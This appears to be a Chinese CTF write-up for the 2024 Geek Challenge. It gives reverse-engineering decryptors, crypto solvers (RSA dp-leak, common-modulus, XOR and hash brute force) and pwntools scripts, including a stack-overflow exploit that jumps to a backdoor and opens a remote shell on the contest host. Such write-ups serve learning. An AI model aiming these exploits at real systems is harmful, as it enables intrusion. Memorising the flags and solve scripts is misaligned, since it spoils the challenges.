0x58, 0x24
};
char flag[51] = {0};
for(int i = 0; i < 25; ++i) {
flag[2*i] = (char)((enc[2*i] ^ 67) + 89 - 83);
flag[2*i + 1] = (char)((enc[2*i + 1] + 115 - 121) ^ 99);
}
flag[50] = '\0';
printf("%s", flag);
}
//SYC{VM_r3verse_I0Oks_llke_yON_@r3_pr37ty_skiLl3d!}
DH爱喝茶

简单jz\jnz花指令,去化花后
主要处理
解密脚本
from Crypto.Util.number import long_to_bytes
def rol4(value, shift=6):
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))
def ror4(value, shift=6):
return ((value >> shift) | (value << (32 - shift))) & 0xFFFFFFFF
def decrypt(v, k):
v0 = v[0]
v1 = v[1]
delta = ((k[0] ^ k[1]) & 0xFF) + 0x98765432
x = (delta * 32) & 0xFFFFFFFF
for i in range(32):
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + x) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + x) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
x = (x - delta) & 0xFFFFFFFF
return [v0, v1]
if __name__ == "__main__":
key = [0x56789ABC, 0x6789ABCD, 0x789ABCDE, 0x89ABCDEF]
key = [rol4(k) for k in key]
encrypted = [
0x1F85A965, 0xEEC063EC,
0x5BF1D0B6, 0xF2FDE7B0,
0xAA38809A, 0x670772E9,
0x360D24B9, 0xE98C688C
]
flag = b""
for i in range(len(encrypted) // 2 - 1, -1, -1):
block = encrypted[2 * i:2 * (i + 1)]
dec_block = decrypt(block, key)
key[i] = ror4(key[i])
# 将解密后的两个整数转换为4字节数据,注意指定长度为4,并反转字节顺序
block_bytes = long_to_bytes(dec_block[0], 4)[::-1] + long_to_bytes(dec_block[1], 4)[::-1]
flag = block_bytes + flag # 前面解密的块放在后面,保持顺序
print(flag)
玩就行了
CE修改

额,但是没找到,后面发现目录下多了个Data.txt,再用010提取出exe
最终脚本
enc = '0A161230300C2D0A2B303D2428233005242C2D26182206233E097F133A'
enc_list = list(enc)
encA = []
for i in range(0, len(enc_list), 2):
encA.append(int(''.join(enc_list[i:i+2]), 16)) # 合并两个字符转换为十六进制数
key = 'GEEK'
encB = []
for idx, val in enumerate(encA):
encB.append(val ^ ord(key[idx % len(key)])) # 异或解密
flag = ''
R = 20
for i in encB:
# 凯撒密码解密(需用减法)
if 65 <= i <= 90: # 大写字母
flag += chr((i - 65 - R) % 26 + 65)
elif 97 <= i <= 122: # 小写字母
flag += chr((i - 97 - R) % 26 + 97)
elif 48 <= i <= 57: # 数字
flag += chr((i - 48 - R) % 10 + 48)
else:
flag += chr(i)
print(flag) # 输出:SYC{cOnGraduulaTions_mIneR:D}
我勒个z3啊
首先z3解密,提取buf
from z3 import *
cmp = [
0x19B, 0x113, 0x189, 0x1C9,
0x250, 0x536, 0x4DE, 0x1BC,
0x41B, 0x724, 0x6D0, 0x4A1,
0x645, 0x475, 0x4CA, 0x68C,
0x3E5, 0x1C7, 0x33D, 0x5B7,
0x28D, 0x244, 0x30E, 0x291,
0x271, 0x301, 0x45F, 0x46F,
0x517, 0x41E, 0x426, 0x4B5
]
solver = Solver()
vars = [Int(f'x{i}') for i in range(32)]
for i in range(0, 32, 4):
v0, v1, v2, v3 = vars[i], vars[i + 1], vars[i + 2], vars[i + 3]
solver.add(v0 + 8 * v1 + 6 * v2 + v3 == cmp[i])
solver.add(v1 + 8 * v2 + 6 * v3 + v0 == cmp[i + 1])
solver.add(v2 + 8 * v3 + 6 * v0 + v1 == cmp[i + 2])
solver.add(v3 + 8 * v0 + 6 * v1 + v2 == cmp[i + 3])
if solver.check() == sat:
model = solver.model()
solution = [model[vars[i]].as_long() for i in range(32)]
print("Found solution:", solution)
else:
print("No solution found")
#Found solution: [23, 40, 7, 26, 29, 3, 69, 125, 111, 9, 125, 118, 99, 126, 74, 54, 112, 89, 28, 5, 25, 63, 9, 70, 111, 26, 43, 48, 58, 102, 60, 69]
解密,得到密钥v4:Geek___Challenge

t='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?_'
str2 = [0x2A, 0x0E, 0x0E, 0x14, 0x3F, 0x3F, 0x3F, 0x26, 0x11, 0x0A, 0x15, 0x15, 0x0E, 0x17, 0x10, 0x0E]
key=''.join([t[k] for k in str2])
print(key)
之后利用key、buf逆解密

key = 'Geek___Challenge'
buf = [23, 40, 7, 26, 29, 3, 69, 125, 111, 9, 125, 118, 99, 126, 74, 54, 112, 89, 28, 5, 25, 63, 9, 70, 111, 26, 43, 48, 58, 102, 60, 69]
flag = ''
for i in range(len(buf)-1, -1, -1):
buf[i] ^= ord(key[(47 - i) % 16]) ^ i
buf[i] ^= buf[(len(buf) + i - 1) % len(buf)]
for i in range(8):
tmp1 = buf[4 * i: 4 * i + 4]
if isinstance(tmp1, list):
tmp1 = ''.join([chr(b) for b in tmp1])
elif isinstance(tmp1, bytes):
tmp1 = tmp1.decode('latin-1')
for _ in range(i):
if len(tmp1) == 4:
tmp1 = tmp1[-1] + tmp1[:-1]
flag += tmp1
print("Final Flag:", flag)
#Final Flag: SYC{Wow!!_Y0u_4r3_9o0d_At_r3$!!}
好像是python?
用010查看,额,看的不是很明白,丢给AI问问

答案错的,但是没关系,过程没错,改改就好了
import hashlib
#预设数据,根据反汇编得到
num = [-1, -36, 26, -5, 14, 41, 6, -9, 60, 29, -28, 17, 21, 7, 35, 38, 26, 48]
key = "SYC"
# 根据反汇编常数计算得到的 r 值
r = 14
# 第一步:根据 test2 的逆运算还原出 cipher1
cipher1 = ""
for i in range(len(num)):
# 根据公式:ord(cipher1[i]) = (num[i] + ord(key[i % 3])) XOR i
val = (num[i] + ord(key[i % 3])) ^ i
cipher1 += chr(val)
print("Recovered cipher1 (Caesar后的结果):", cipher1)
# 第二步:逆向 Caesar 密码,恢复原始输入
def caesar_decrypt(ch, shift):
if 'A' <= ch <= 'Z':
return chr((ord(ch) - ord('A') - shift) % 26 + ord('A'))
elif 'a' <= ch <= 'z':
return chr((ord(ch) - ord('a') - shift) % 26 + ord('a'))
elif '0' <= ch <= '9':
return chr((ord(ch) - ord('0') - shift) % 10 + ord('0'))
else:
return ch
# 对 cipher1 中每个字符做逆向轮换
input0 = "".join(caesar_decrypt(ch, r) for ch in cipher1)
print("Recovered original input:", input0)
md5 = hashlib.md5(bytes(input0.encode())).hexdigest()
print('flag:SYC{'+md5+'}')
#SYC{ed798fdd74e5c382b9c7fcca88500aca}
Pwn
简单的签到
根据时间生成两个数,求输入为两数相乘。解题脚本如下:
from pwn import *
io = remote('nc1.ctfplus.cn', 29308)
io.recvuntil(b'press the Enter key to start')
io.sendline(b'')
try:
# 循环处理每个数学问题
while True:
# 接收直到等号出现,获取问题字符串
problem = io.recvuntil(b'=').decode().strip()
# 打印问题以调试
print(f"Received problem: {problem}")
# 提取两个乘数
# 使用正则表达式提取数字
import re
numbers = re.findall(r'\d+', problem)
if len(numbers) < 2:
print("Failed to extract two numbers from the problem.")
break
num1 = int(numbers[0])
num2 = int(numbers[1])
# 计算乘积
product = num1 * num2
# 发送答案
io.sendline(str(product).encode())
# 打印答案以调试
print(f"Sent answer: {product}")
# 接收服务器的响应
response = io.recvline().decode().strip()
print(f"Server response: {response}")
if "Correct! Opening shell..." in response:
print("Challenge passed! Attempting to interact with the shell...")
break
except EOFError:
# 当连接关闭时,接收所有剩余输出
pass
if io.connected():
print("Interacting with the shell...")
io.interactive()
else:
print("Connection closed.")
print(io.recvall().decode())
你会栈溢出吗
基础栈溢出。
64位所以0xc+8,后门函数地址0x40073D
from pwn import *
context(arch='amd64', os='linux', endian='little', word_size=64)
#io = process('./stackover')
io = remote('nc1.ctfplus.cn', 18851)
payload = b'a' * (0xc + 8) + p64(0x40073D)
io.sendline(payload)
io.interactive()
Crypto
凯撒加密
直接上脚本破解

X0R
通过穷尽key的值破解(一开始数字加字母还没破解出,最后还是扩大字典范围) 附上脚本
import itertools
import string
from pwn import xor
from Crypto.Util.number import long_to_bytes
# 假设 enc 为已知的加密数据(长整数形式),请替换为实际值
enc = 0x123456789abcdef # 示例值
# 生成包含空格、数字、字母、标点符号等所有ASCII字符(32~126)
chars = ''.join(chr(i) for i in range(32, 127))
# 遍历所有可能的 4 字节 key
for candidate in itertools.product(chars, repeat=4):
key = ''.join(candidate)
key_bytes = key.encode()
try:
# 解密:先将 long 类型的 enc 转换为字节串,再与 key 进行异或运算
decrypted = xor(long_to_bytes(enc), key_bytes)
# 检查解密结果是否以 b"SYC{" 开头
if decrypted.startswith(b"SYC{"):
print("找到可能的 key:", key)
print("解密结果:", decrypted)
break
except Exception as e:
# 出现异常(例如转换错误)时跳过该 key
continue
nc
连接后,发现动态生成sha256,但是只有前面四个字符未知
没啥好讲的,写个暴力破解脚本
import hashlib
import itertools
import string
# 目标哈希值
target_hash = "9a938c33b911fee3f73a80a9c792ce6897d87d1645cf3d458fe514aaec0efd5d"
# 已知后缀
suffix = "Mjo12pgcS7c8kKdA"
# 定义可能的字符集(小写字母、大写字母和数字)
charset = string.ascii_letters + string.digits
# 暴力破解函数
def brute_force_sha256(suffix, target_hash, length=4):
print("[*] Starting brute-force attack...")
# 使用 itertools.product 生成所有可能的组合
for attempt in itertools.product(charset, repeat=length):
attempt_str = ''.join(attempt) # 将字符元组转换为字符串
input_str = attempt_str + suffix # 拼接字符串
hash_object = hashlib.sha256(input_str.encode('utf-8')) # 计算 SHA-256 哈希值
hash_hex = hash_object.hexdigest()
# 检查哈希值是否匹配
if hash_hex == target_hash:
print(f"[+] Found match: {attempt_str}")
return attempt_str
print("[-] No match found.")
return None
# 开始暴力破解
result = brute_force_sha256(suffix, target_hash)
if result:
print(f"[+] The correct string is: {result}")
else:
print("[-] Failed to find the correct string.")


之后可得flag。
RSA
直接上脚本
"""
RSA中的关键参数:
两个大质数:p、q
模数:n = pxq
欧拉数 N = (p-1)x(q-1)
公钥指数 e :满足1<𝑒<N且e与N互质。通常e选择为 65537,因为它是一个质数且可以提高加密速度
私钥指数 d :d满足d×e−1=k×N
"""
from Crypto.Util.number import long_to_bytes
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y
def mod_inverse(e, phi):
gcd, x, _ = extended_gcd(e, phi)
if gcd != 1:
raise ValueError("No modular inverse exists")
else:
return x % phi
# 给定的值
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
e = 65537
# 计算 N 和 φ(N)
N = p * q
phi_N = (p - 1) * (q - 1)
# 计算私钥指数 d
d = mod_inverse(e, phi_N)
print(f"Private key exponent d is: {d}")
c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
# 计算明文
m = pow(c, d, N) # 使用内置的 pow 函数计算 (c^d) % n
print(long_to_bytes(m))

dp
from Crypto.Util.number import long_to_bytes
def rsa_dp_leak_attack(n, e, c, dp):
"""
RSA dp泄露攻击
原理: 已知 dp = d mod (p-1), 遍历k值计算可能的p候选值
"""
for k in range(1, e + 1):
# 计算可能的p值
p_maybe = (e * dp - 1) // k + 1
if p_maybe <= 1:
continue
# 检查p是否能整除n
if n % p_maybe == 0:
p = p_maybe
q = n // p
# 计算私钥d
phi = (p-1) * (q-1)
d = pow(e, -1, phi)
# 解密密文
m = pow(c, d, n)
return long_to_bytes(m)
return None
# 输入参数(根据题目修改以下值)
c = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060
n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871
e = 65537
dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769
# 执行攻击
flag = rsa_dp_leak_attack(n, e, c, dp)
if flag:
print("[+] 解密成功!")
print("Flag:", flag.decode())
else:
print("[-] 未找到有效解,请检查输入参数")
问Ai写的脚本
共模攻击
from Crypto.Util.number import long_to_bytes
import gmpy2
def rsa_common_modulus_attack(n, e1, c1, e2, c2):
"""
RSA 共模攻击
条件: 相同明文m,被两组公钥 (n, e1) 和 (n, e2) 加密,且 e1 和 e2 互质
原理: 扩展欧几里得算法找到 a*e1 + b*e2 = 1,计算 m = (c1^a * c2^b) mod n
"""
# 计算 a 和 b,使得 a*e1 + b*e2 = 1
gcd, a, b = gmpy2.gcdext(e1, e2)
if gcd != 1:
return None # e1和e2必须互质
# 处理负数指数:转换为模逆元运算
if a < 0:
c1 = gmpy2.invert(c1, n)
a = abs(a)
if b < 0:
c2 = gmpy2.invert(c2, n)
b = abs(b)
# 计算 m = (c1^a * c2^b) mod n
m1 = pow(c1, a, n)
m2 = pow(c2, b, n)
m = (m1 * m2) % n
return long_to_bytes(m)
# 示例输入(根据题目修改以下值)
n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
e1 = 911
e2 = 967
c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
# 执行攻击
plaintext = rsa_common_modulus_attack(n, e1, c1, e2, c2)
if plaintext:
print("[+] 共模攻击成功!")
print("明文:", plaintext.decode())
else:
print("[-] 攻击失败,检查e1和e2是否互质")

Web
100%的⚪

看着是前端验证,直接看源码

base64解密得flag:SYC{5UcH@Wo0d3rfUl_CiRc1e}
Misc
2024 geek challenge!签到
没啥好说的,关注公众号签到。
Comments NOTHING